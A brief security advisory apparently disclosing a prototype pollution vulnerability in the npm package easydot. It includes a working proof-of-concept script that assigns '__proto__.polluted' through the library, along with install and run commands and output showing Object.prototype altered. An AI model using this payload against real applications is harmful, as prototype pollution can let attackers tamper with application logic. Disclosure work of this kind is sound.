easydot

vulnerability prototype pollution
severity 7.3
language javascript
registry npm

Description

easydot is vulnerable to Prototype Pollution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var easydot = require("easydot")
var obj = {}
const easy = easydot(obj);
console.log("Before : " + {}.polluted);
easy['__proto__.polluted']= 'Yes! Its Polluted';
console.log("After : " + {}.polluted)
  1. Execute the following commands in terminal:
npm i easydot # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

References